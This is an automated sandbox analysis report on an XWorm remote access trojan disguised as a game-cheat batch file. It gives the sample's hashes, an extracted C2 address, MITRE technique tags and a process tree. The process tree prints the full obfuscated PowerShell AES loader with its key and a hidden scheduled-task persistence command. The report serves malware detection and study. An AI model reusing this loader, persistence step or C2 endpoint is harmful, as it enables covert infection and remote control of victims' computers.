xworm | c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab

Analysis

max time kernel
33s
max time network
51s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
14-11-2024 16:11

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General

Target

aimbotfr stub.bat
Size

478KB
MD5

09c4764995d1f2e96d0a228743f2425e
SHA1

0a755c43e147141ec0e9d96d243765af66d1e8a0
SHA256

c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab
SHA512

856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e
SSDEEP

6144:Y5uDX7kLnB9tGFQe+6YRAFcqLw7DT8ZUXtk9clnD:Yo8LB2FQh64AFcqLw7kZ+uInD

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

80.76.49.227:9999

Mutex

g0vzRORqzebeaKQj

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/1800-56-0x000001BE1DB20000-0x000001BE1DB2E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	1800	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4404	powershell.exe
1444	powershell.exe
1800	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4404	powershell.exe
4404	powershell.exe
1444	powershell.exe
1444	powershell.exe
1800	powershell.exe
1800	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeIncreaseQuotaPrivilege	1444	powershell.exe
Token: SeSecurityPrivilege	1444	powershell.exe
Token: SeTakeOwnershipPrivilege	1444	powershell.exe
Token: SeLoadDriverPrivilege	1444	powershell.exe
Token: SeSystemProfilePrivilege	1444	powershell.exe
Token: SeSystemtimePrivilege	1444	powershell.exe
Token: SeProfSingleProcessPrivilege	1444	powershell.exe
Token: SeIncBasePriorityPrivilege	1444	powershell.exe
Token: SeCreatePagefilePrivilege	1444	powershell.exe
Token: SeBackupPrivilege	1444	powershell.exe
Token: SeRestorePrivilege	1444	powershell.exe
Token: SeShutdownPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeSystemEnvironmentPrivilege	1444	powershell.exe
Token: SeRemoteShutdownPrivilege	1444	powershell.exe
Token: SeUndockPrivilege	1444	powershell.exe
Token: SeManageVolumePrivilege	1444	powershell.exe
Token: 33	1444	powershell.exe
Token: 34	1444	powershell.exe
Token: 35	1444	powershell.exe
Token: 36	1444	powershell.exe
Token: SeIncreaseQuotaPrivilege	1444	powershell.exe
Token: SeSecurityPrivilege	1444	powershell.exe
Token: SeTakeOwnershipPrivilege	1444	powershell.exe
Token: SeLoadDriverPrivilege	1444	powershell.exe
Token: SeSystemProfilePrivilege	1444	powershell.exe
Token: SeSystemtimePrivilege	1444	powershell.exe
Token: SeProfSingleProcessPrivilege	1444	powershell.exe
Token: SeIncBasePriorityPrivilege	1444	powershell.exe
Token: SeCreatePagefilePrivilege	1444	powershell.exe
Token: SeBackupPrivilege	1444	powershell.exe
Token: SeRestorePrivilege	1444	powershell.exe
Token: SeShutdownPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeSystemEnvironmentPrivilege	1444	powershell.exe
Token: SeRemoteShutdownPrivilege	1444	powershell.exe
Token: SeUndockPrivilege	1444	powershell.exe
Token: SeManageVolumePrivilege	1444	powershell.exe
Token: 33	1444	powershell.exe
Token: 34	1444	powershell.exe
Token: 35	1444	powershell.exe
Token: 36	1444	powershell.exe
Token: SeIncreaseQuotaPrivilege	1444	powershell.exe
Token: SeSecurityPrivilege	1444	powershell.exe
Token: SeTakeOwnershipPrivilege	1444	powershell.exe
Token: SeLoadDriverPrivilege	1444	powershell.exe
Token: SeSystemProfilePrivilege	1444	powershell.exe
Token: SeSystemtimePrivilege	1444	powershell.exe
Token: SeProfSingleProcessPrivilege	1444	powershell.exe
Token: SeIncBasePriorityPrivilege	1444	powershell.exe
Token: SeCreatePagefilePrivilege	1444	powershell.exe
Token: SeBackupPrivilege	1444	powershell.exe
Token: SeRestorePrivilege	1444	powershell.exe
Token: SeShutdownPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeSystemEnvironmentPrivilege	1444	powershell.exe
Token: SeRemoteShutdownPrivilege	1444	powershell.exe
Token: SeUndockPrivilege	1444	powershell.exe
Token: SeManageVolumePrivilege	1444	powershell.exe
Token: 33	1444	powershell.exe
Token: 34	1444	powershell.exe
Token: 35	1444	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3728 wrote to memory of 4404	3728	cmd.exe	85
PID 3728 wrote to memory of 4404	3728	cmd.exe	85
PID 4404 wrote to memory of 1444	4404	powershell.exe	87
PID 4404 wrote to memory of 1444	4404	powershell.exe	87
PID 4404 wrote to memory of 4244	4404	powershell.exe	92
PID 4404 wrote to memory of 4244	4404	powershell.exe	92
PID 4244 wrote to memory of 3064	4244	WScript.exe	93
PID 4244 wrote to memory of 3064	4244	WScript.exe	93
PID 3064 wrote to memory of 1800	3064	cmd.exe	95
PID 3064 wrote to memory of 1800	3064	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\aimbotfr stub.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Local\Temp\aimbotfr stub.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_303_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_303.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1444
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_303.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4244
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_303.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3064
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Roaming\startup_str_303.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d5bfa2c6555c439531a00f676c93baaf

SHA1
1ec5dc4fdfeb986decb07ed0aba3708dab95c51b

SHA256
4982ef6cbdc564d8bbe75c01163593e3a4cdd342f0d8d0dd901b4f8e645f2508

SHA512
fea0c64e9c167768122a56436b02f1f69756d9a4556d3ab741fefc5f5431ddf2742fc953638a38889f9511437901137b85f68e7447e98bf32ec63e510b3b0fbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qwwjgv2p.ohw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_303.vbs

Filesize
115B

MD5
18e1aa5f6b19f4bb17aa69f978187cc2

SHA1
27525314d327b925626db48f874cbcb88db98149

SHA256
5bf6fdfd088c32b1d18176249570dd226957235669c069dc991eb73c8ea8767d

SHA512
9ac70e3a3974a94e5bdf07f80356aa92f8ce44868eb736b946bd157673905bb80440107e994dfca05596de1677a6a311790aa9b5eecc30797bb1456e35021d0c

Download Submit
memory/1444-18-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/1444-31-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/1444-28-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/1444-17-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/1800-56-0x000001BE1DB20000-0x000001BE1DB2E000-memory.dmp

Filesize
56KB

Download
memory/4404-13-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/4404-15-0x000002744BFF0000-0x000002744C022000-memory.dmp

Filesize
200KB

Download
memory/4404-14-0x000002744BDA0000-0x000002744BDA8000-memory.dmp

Filesize
32KB

Download
memory/4404-0-0x00007FFF67623000-0x00007FFF67625000-memory.dmp

Filesize
8KB

Download
memory/4404-12-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/4404-11-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/4404-41-0x00007FFF67623000-0x00007FFF67625000-memory.dmp

Filesize
8KB

Download
memory/4404-42-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/4404-43-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/4404-54-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/4404-55-0x00007FFF67620000-0x00007FFF680E2000-memory.dmp

Filesize
10.8MB

Download
memory/4404-1-0x000002744BD30000-0x000002744BD52000-memory.dmp

Filesize
136KB

Download